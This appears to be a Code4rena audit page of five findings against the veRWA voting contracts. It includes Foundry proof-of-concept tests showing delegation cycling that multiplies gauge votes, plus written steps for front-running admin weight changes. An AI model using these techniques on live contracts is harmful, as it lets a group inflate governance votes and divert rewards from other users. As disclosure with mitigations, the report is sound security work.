veRWA - deadrxsezzz's results

Lines of code

https://github.com/code-423n4/2023-08-verwa/blob/main/src/GaugeController.sol#L211 https://github.com/code-423n4/2023-08-verwa/blob/main/src/VotingEscrow.sol#L356

Vulnerability details

Impact

Users can get infinite voting power by abusing delegate function.

Proof of Concept

Upon voting for a gauge in GaugeController a call is made to VotingEscrow to get the user's voting power.The problem is that the user's voting power can decrease in two ways:

1. By delegating it to someone else
2. When someone who had previously delegated their power to said user, undelegates it

Upon such activity, user's voting towards a gauge is not adjusted. A group of X Users can easily abuse this by doing the following:

1. All users delegate their power to user 1.
2. User 1 votes.
3. All users redelegate their power to the next user
4. Repeat with all users

This way a group of X people can increase their voting power X times (Meaning a group of 10 people can use this to get 10X the voting power they're supposed to have). By doing this back and forth between numerous wallets, this could be done to infinity.

Here's a simple PoC of two users doing this. At the end there's additional lines showcasing what their max voting power is supposed to be.

    function testDelegateIssue() public { 
        vm.startPrank(gov);
        gc.add_gauge(gauge1);
        gc.change_gauge_weight(gauge1, 100);
        vm.stopPrank();

        vm.prank(user1);
        ve.createLock{value: 1 ether}(1 ether);

        vm.startPrank(user2);
        ve.createLock{value: 1 ether}(1 ether);
        ve.delegate(user1);
        console.log("user 2 delegates to user 1");
        vm.stopPrank();

        vm.startPrank(user1);
        gc.vote_for_gauge_weights(gauge1, 10000);
        uint weight = gc.get_gauge_weight(gauge1);
        console.log("weight after first deposit", weight);
        console.log("user 1 delegates to user 2");
        ve.delegate(user2);
        vm.stopPrank();


        vm.startPrank(user2);
        console.log("user2 delegates back to themselves");
        ve.delegate(user2);
        gc.vote_for_gauge_weights(gauge1, 10000);
        vm.stopPrank();
        weight = gc.get_gauge_weight(gauge1);
        console.log("weight after second deposit", weight);

        vm.startPrank(user1);
        gc.vote_for_gauge_weights(gauge1, 10000);
        vm.stopPrank();
        vm.prank(user2);
        gc.vote_for_gauge_weights(gauge1, 10000);
        weight = gc.get_gauge_weight(gauge1);
        console.log("what the max voting power for user1 and user2 is supposed to be", weight);

    }

and the results:

[PASS] testDelegateIssue() (gas: 1875508)
Logs:
  user 2 delegates to user 1
  weight after first deposit 1986849314989257700
  user 1 delegates to user 2
  user2 delegates back to themselves
  weight after second deposit 3973698629978515300
  what the max voting power for user1 and user2 is supposed to be 1986849314989257700

Tools Used

Manual review

Recommended Mitigation Steps

Upon reducing a user's voting power, a call to GaugeController must be made.

Assessed type

Other

Lines of code

https://github.com/code-423n4/2023-08-verwa/blob/main/src/GaugeController.sol#L118 https://github.com/code-423n4/2023-08-verwa/blob/main/src/GaugeController.sol#L204

Vulnerability details

Impact

Voting power towards gauges will be lost and project will not work properly

Proof of Concept

The mapping time_weight takes a gauge as a param and returns the most recent timestamp a gauge has had its weight recorded/ updated. There are 2 ways to set this value: through _get_weight and _change_gauge_weight.

function _get_weight(address _gauge_addr) private returns (uint256) {
        uint256 t = time_weight[_gauge_addr];
        if (t > 0) {
            Point memory pt = points_weight[_gauge_addr][t];
            for (uint256 i; i < 500; ++i) {
                if (t > block.timestamp) break;
                t += WEEK;
                uint256 d_bias = pt.slope * WEEK;
                if (pt.bias > d_bias) {
                    pt.bias -= d_bias;
                    uint256 d_slope = changes_weight[_gauge_addr][t];
                    pt.slope -= d_slope;
                } else {
                    pt.bias = 0;
                    pt.slope = 0;
                }
                points_weight[_gauge_addr][t] = pt;
                if (t > block.timestamp) time_weight[_gauge_addr] = t;
            }
            return pt.bias;
        } else {
            return 0;
        }
    }

The problem in _get_weight is that the initial value of any time_weight[_gauge_addr] will be 0. It will go through the entirety of the loop and t will increase +1 week for every iteration. The problem is that even after 500 iterations t will be < block.timestamp so the value of time_weight[_gauge_addr] will remain 0. Unless admins call manually _change_gauge_weight to set an initial value, time_weight[_gauge_addr] will remain 0. Any time a user will use _get_weight to fill with recent data, the function will iterate over old values and will do nothing. Recent values won't be set and anything depending on it will receive 0 as a recent value.

    function _change_gauge_weight(address _gauge, uint256 _weight) internal {
        uint256 old_gauge_weight = _get_weight(_gauge);
        uint256 old_sum = _get_sum();
        uint256 next_time = ((block.timestamp + WEEK) / WEEK) * WEEK;

        points_weight[_gauge][next_time].bias = _weight;
        time_weight[_gauge] = next_time;

        uint256 new_sum = old_sum + _weight - old_gauge_weight;
        points_sum[next_time].bias = new_sum;
        time_sum = next_time;
    }

Since _change_gauge_weight is not called within add_gauge, even if we expect the owners to call it, any votes happening in the time between the adding of the gauge and the admin set function will be lost. The user will only be able to retrieve them by later removing their vote and voting again. Here are 3 written test-cases which prove the statements above:

   function testWithoutManualSet() public {
        vm.startPrank(gov);
        gc.add_gauge(gauge1);
        vm.stopPrank();

        vm.startPrank(user1);
        ve.createLock{value: 1 ether}(1 ether);
        gc.vote_for_gauge_weights(gauge1, 10000);
        uint weight = gc.get_gauge_weight(gauge1);
        console.log("gauge's weight after voting: ", weight);
        vm.stopPrank();
    }

    function testWithManualSet() public { 
        vm.startPrank(gov);
        gc.add_gauge(gauge1);
        gc.change_gauge_weight(gauge1, 0);
        vm.stopPrank();

        vm.startPrank(user1);
        ve.createLock{value: 1 ether}(1 ether);
        gc.vote_for_gauge_weights(gauge1, 10000);
        uint weight = gc.get_gauge_weight(gauge1);
        console.log("gauge's weight after voting: ", weight);
        vm.stopPrank();
    }

    function testWithChangeMidway() public {
        vm.startPrank(gov);
        gc.add_gauge(gauge1);
        vm.stopPrank();

        vm.startPrank(user1);
        ve.createLock{value: 1 ether}(1 ether);
        gc.vote_for_gauge_weights(gauge1, 10000);
        uint weight = gc.get_gauge_weight(gauge1);
        console.log("gauge's weight after voting: ", weight);
        vm.stopPrank();

        vm.prank(gov);
        gc.change_gauge_weight(gauge1, 0);

        vm.startPrank(user1);
        gc.vote_for_gauge_weights(gauge1, 10000);
        weight = gc.get_gauge_weight(gauge1);
        console.log("gauge's weight after voting after admin set", weight);

        gc.vote_for_gauge_weights(gauge1, 0);
        gc.vote_for_gauge_weights(gauge1, 10000);
        weight = gc.get_gauge_weight(gauge1);
        console.log("gauge's weight after voting after admin set after vote reset", weight);
        
    }

and the respective results:

[PASS] testWithoutManualSet() (gas: 645984)
Logs:
  gauge's weight after voting:  0

[PASS] testWithManualSet() (gas: 667994)
Logs:
  gauge's weight after voting:  993424657416307200

[PASS] testWithChangeMidway() (gas: 744022)
Logs:
  gauge's weight after voting:  0
  gauge's weight after voting after admin set 0
  gauge's weight after voting after admin set after vote reset 993424657416307200

Tools Used

Manual Review, Foundry

Recommended Mitigation Steps

Upon adding a gauge, make a call to change_gauge_weight and set its initial weight to 0.

Assessed type

Error

Lines of code

https://github.com/code-423n4/2023-08-verwa/blob/main/src/GaugeController.sol#L211

Vulnerability details

Impact

Users will forever lose their voting power.

Proof of Concept

In the case where a gauge is removed, any user that has put voting power into it will forever lose it, as they'll be unable to remove their voting power from the gauge, due to the following lines of code:

    function vote_for_gauge_weights(address _gauge_addr, uint256 _user_weight) external {
        require(_user_weight >= 0 && _user_weight <= 10_000, "Invalid user weight");
        require(isValidGauge[_gauge_addr], "Invalid gauge address");

Since isValidGauge[_gauge_addr] will return false (since gauge is now removed), users will be unable to remove their voting power from said gauge.

Removing a gauge wouldn't be uncommon and it cannot be expected that all users will have removed their voting power prior to the removal, hence the High severity of the issue.

Here's a simple PoC showcasing the issue:

    function stuckVotingPower() public {
        vm.startPrank(gov);
        gc.add_gauge(gauge1);
        gc.change_gauge_weight(gauge1, 100);
        gc.add_gauge(gauge2);
        gc.change_gauge_weight(gauge2, 100);
        vm.stopPrank();

        vm.startPrank(user1);
        gc.vote_for_gauge_weights(gauge1, 10000);
        vm.stopPrank();

        vm.prank(gov);
        gc.remove_gauge(gauge1);

        vm.startPrank(user1);
        vm.expectRevert("Invalid gauge address");
        gc.vote_for_gauge_weights(gauge1, 0);
        vm.expectRevert("Used too much power");
        gc.vote_for_gauge_weights(gauge2, 500);

    }

Tools Used

Manual review

Recommended Mitigation Steps

Allow for users to undelegate their voting power even if gauge is removed. Consider something changing the faulty require statement to:

require((isValidGauge[_gauge_addr] || _user_weight == 0), "Invalid gauge address");


## Assessed type

Access Control

Lines of code

https://github.com/code-423n4/2023-08-verwa/blob/main/src/GaugeController.sol#L204

Vulnerability details

Impact

Users can get extra voting power by front-running calls to change_gauge_weight

Proof of Concept

It can be expected that in some cases calls will be made to change_gauge_weight to increase or decrease a gauge's weight. The problem is users can be monitoring the mempool expecting such calls. Upon seeing such, any people who have voted for said gauge can just remove their vote prior to change_gauge_weight. Once it executes, they can vote again for their gauge, increasing its weight more than it was expected to be: Example:

1. Gauge has 1 user who has voted and contributed for 10_000 weight
2. They see an admin calling change_gauge_weight with value 15_000.
3. User front-runs it and removes all their weight. Gauge weight is now 0.
4. Admin function executes. Gauge weight is now 15_000
5. User votes once again for the gauge for the same initial 10_000 weight. Gauge weight is now 25_000.

Gauge weight was supposed to be changed from 10_000 to 15_000, but due to the user front-running, gauge weight is now 25_000

Tools Used

Manual review

Recommended Mitigation Steps

Instead of having a set function, use increase/ decrease methods.

Assessed type

Other

Lines of code

https://github.com/code-423n4/2023-08-verwa/blob/main/src/GaugeController.sol#L118 https://github.com/code-423n4/2023-08-verwa/blob/main/src/LendingLedger.sol#L129

Vulnerability details

Impact

Lost and unclaimable rewards

Proof of Concept

Upon adding a gauge to gaugeController users can vote for it to give it weight to get a part of the rewards distributed for the week. It can be expected that upon adding a gauge to gaugeController users will start voting for it. However, in order to be eligible for a part of the rewards, users have to enter a market which is synced to the LendingLedger. The problem is that in order for the market to be synced with LendingLedger, it has to first be whitelisted.

    function sync_ledger(address _lender, int256 _delta) external {
        address lendingMarket = msg.sender;
        require(lendingMarketWhitelist[lendingMarket], "Market not whitelisted");

In the case where a gauge is added to gaugeController and votes are spent towards it, but the epoch ends before it is whitelisted in LendingLedger, so users can deposit towards the market, the gauge will have a cut of the rewards, but no one will be able to claim it, leading to stuck and lost rewards.

Tools Used

Manual review

Recommended Mitigation Steps

Add an external call in GaugeController which upon adding a gauge, whitelists it in LendingLedger

Assessed type

Error